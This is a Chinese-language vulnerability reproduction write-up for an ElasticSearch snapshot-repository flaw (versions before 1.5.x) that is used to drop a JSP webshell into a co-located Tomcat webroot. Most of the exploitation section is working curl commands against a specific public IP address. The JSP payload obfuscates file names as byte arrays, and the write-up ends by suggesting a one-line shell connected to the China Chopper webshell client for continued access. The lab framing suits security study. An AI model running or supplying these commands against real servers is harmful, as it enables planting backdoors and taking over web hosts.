漏洞描述
产生原因
环境搭建
漏洞复现
漏洞描述
ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。
所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。
默认端口:9200 9300
产生原因
和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。
环境搭建
docker-compose up -d

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch。
我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。
漏洞复现
9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
发现9200端口存在elasticsearch页面,8080存在tomcat目录
利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/
首先创建一个恶意索引文档:
curl -XPOST http://49.232.65.159:9200/yz.jsp/yz.jsp/1 -d' {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"} '再创建一个恶意的存储库,其中
location的值即为我要写入的路径。这里要注意的是location为tomcat的www目录实战中该目录不一定为默认路径(可能会被更改)所以要明确改路径curl -XPUT 'http://49.232.65.159:9200/_snapshot/yz.jsp' -d '{ "type": "fs", "settings": { "location": "/usr/local/tomcat/webapps/wwwroot/", "compress": false } }'存储库验证并创建:
curl -XPUT "http://49.232.65.159:9200/_snapshot/yz.jsp/yz.jsp" -d '{ "indices": "yz.jsp", "ignore_unavailable": "true", "include_global_state": false }'

访问
http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp,这就是我们写入的webshell。该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:
http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success,我们再访问/wwwroot/test.jsp就能看到success了:


如果想继续利用的话就把一句话shell写入连接菜刀就可以了